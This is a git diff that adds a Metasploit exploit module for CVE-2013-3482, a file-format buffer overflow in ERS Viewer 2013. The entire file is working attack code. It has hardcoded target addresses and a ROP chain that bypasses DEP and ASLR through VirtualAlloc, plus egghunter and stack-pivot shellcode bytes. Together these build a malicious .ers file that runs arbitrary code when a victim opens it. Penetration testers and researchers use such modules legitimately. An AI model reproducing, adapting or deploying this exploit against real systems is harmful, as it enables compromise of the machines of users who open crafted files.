diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb new file mode 100644 index 0000000000..a274da5441 --- /dev/null +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb @@ -0,0 +1,205 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::Egghunter + + def initialize(info={}) + super(update_info(info, + 'Name' => "ERS Viewer 2013 ERS File Handling Buffer Overflow", + 'Description' => %q{ + This module exploits a buffer overflow vulnerability found in ERS Viewer 2013. + The vulnerability exists in the module ermapper_u.dll, where the function + rf_report_error handles user provided data in a insecure way. It results in + arbitrary code execution under the context of the user viewing a specially crafted + .ers file. This module has been tested successfully with ERS Viewer 2013 (versions + 13.0.0.1151) on Windows XP SP3 and Windows 7 SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Fitts', # Vulnerability Discovery + 'juan vazquez' # Metasploit + ], + 'References' => + [ + [ 'CVE', '2013-3482' ], + [ 'OSVDB', '93650' ], + [ 'URL', 'http://secunia.com/advisories/53620/' ] + ], + 'Payload' => + { + 'Space' => 4000, + 'DisableNops' => true, + }, + 'DefaultOptions' => + { + 'ExitFunction' => "process", + }, + 'Platform' => 'win', + 'Targets' => + [ + # Tested on Windows XP SP3 + [ 'ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR', + { + 'Offset' => 191, + 'Ret' => 0x100329E9 # jmp eax # from ermapper_u.dll + } + ], + # Tested on Windows XP SP3 and Windows 7 SP1 + [ 'ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass', + { + 'Offset' => 191, + 'Ret' => 0x100E1152, # xchg eax, esp # ret # from ermapper_u.dll + 'RetNull' => 0x30d07f00, # ret ending with null byte # from ethrlib.dll + 'VirtualAllocPtr' => 0x1010c0f4 + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "May 23 2013", + 'DefaultTarget' => 1)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.ers']), + ], self.class) + + end + + def create_rop_chain() + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x10082624, # POP EAX # RETN [ermapper_u.dll] + 0x1010c0f4, # ptr to &VirtualAlloc() [IAT ermapper_u.dll] + 0x1001a9c0, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ermapper_u.dll] + 0x1005db36, # XCHG EAX,ESI # RETN [ermapper_u.dll] + 0x10105d87, # POP EBX # RETN [ermapper_u.dll] + 0xffffffff, # + 0x30d059d9, # INC EBX # RETN [ethrlib.dll] + 0x30d059d9, # INC EBX # RETN [ethrlib.dll] + 0x100e9dd9, # POP EAX # RETN [ermapper_u.dll] + 0xa2dbcf75, # put delta into eax (-> put 0x00001000 into edx) + 0x1001aa04, # ADD EAX,5D24408B # RETN [ermapper_u.dll] + 0x10016a98, # XCHG EAX,EDX # OR EAX,4C48300 # POP EDI # POP EBP # RETN [ermapper_u.dll] + 0x10086d21, # RETN (ROP NOP) [ermapper_u.dll] + 0x1001a148, # & push esp # ret [ermapper_u.dll] + 0x10082624, # POP EAX # RETN [ermapper_u.dll] + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x100f687d, # NEG EAX # RETN [ermapper_u.dll] + 0x1001e720, # XCHG EAX,ECX # ADC EAX,5DE58B10 # RETN [ermapper_u.dll] + 0x100288b5, # POP EAX # RETN [ermapper_u.dll] + 0x90909090, # nop + 0x100e69e0, # PUSHAD # RETN [ermapper_u.dll] + ].flatten.pack("V*") + + return rop_gadgets + end + + # Restore the stack pointer in order to execute the final payload successfully + def fix_stack + pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18] # get teb + pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + return pivot + end + + # In the Windows 7 case, in order to bypass ASLR/DEP successfully, after finding + # the payload on memory we can't jump there directly, but allocate executable memory + # and jump there. Badchars: "\x0a\x0d\x00" + def hunter_suffix(payload_length) + # push flProtect (0x40) + suffix = "\xB8\xC0\xFF\xFF\xFF" # mov eax, 0xffffffc0 + suffix << "\xF7\xD8" # neg eax + suffix << "\x50" # push eax + # push flAllocationType (0x3000) + suffix << "\x66\x05\xC0\x2F" # add ax, 0x2fc0 + suffix << "\x50" # push eax + # push dwSize (0x1000) + suffix << "\x66\x2D\xFF\x1F" # sub ax, 0x1fff + suffix << "\x48" # dec eax + suffix << "\x50" # push eax + # push lpAddress + suffix << "\xB8\x0C\x0C\x0C\x0C" # mov eax, 0x0c0c0c0c + suffix << "\x50" # push eax + # Call VirtualAlloc + suffix << "\xFF\x15" + [target['VirtualAllocPtr']].pack("V") # call ds:VirtualAlloc + # Copy payload (edi) to Allocated memory (eax) + suffix << "\x89\xFE" # mov esi, edi + suffix << "\x89\xC7" # mov edi, eax + suffix << "\x31\xC9" # xor ecx, ecx + suffix << "\x66\x81\xC1" + [payload_length].pack("v") # add cx, payload_length + suffix << "\xF3\xA4" # rep movsb + # Jmp to the final payload (eax) + suffix << "\xFF\xE0" # jmp eax + + return suffix + end + + def exploit + + #These badchars do not apply to the final payload + badchars = [0x0c, 0x0d, 0x0a].pack("C*") + + eggoptions = + { + :checksum => true, + :eggtag => 'w00t' + } + my_payload = fix_stack + payload.encoded + + if target.name =~ /DEP & ASLR bypass/ + # The payload length can't include NULL's in order to + # build the stub which will copy the final payload to + # executable memory + while [my_payload.length].pack("v").include?("\x00") + my_payload << rand_text(1) + end + end + + hunter,egg = generate_egghunter(my_payload, badchars, eggoptions) + + if target.name =~ /DEP & ASLR bypass/ + hunter.gsub!(/\xff\xe7/, hunter_suffix(my_payload.length)) + end + + if target.name =~ /NO DEP/ + buf = rand_text_alpha(1) + buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected + buf << "AA" # EAX pointing to buf[5] prefixed with 0x00 after ret + buf << hunter + buf << rand_text_alpha(target['Offset'] - buf.length) + buf << [target.ret].pack("V") # jmp eax + buf << rand_text_alpha(8) + buf << egg + elsif target.name =~ /DEP & ASLR bypass/ + buf = rand_text_alpha(1) + buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected + buf << [target['RetNull']].pack("V")[1,3] # EAX pointing to buf[5] prefixed with 0x00 after ret + buf << create_rop_chain + buf << hunter + buf << rand_text_alpha(target['Offset'] - buf.length) + buf << [target.ret].pack("V") # xchg eax, esp # ret + buf << rand_text_alpha(8) + buf << egg + end + + ers = %Q| +DatasetHeader Begin +#{buf} End + | + + file_create(ers) + end +end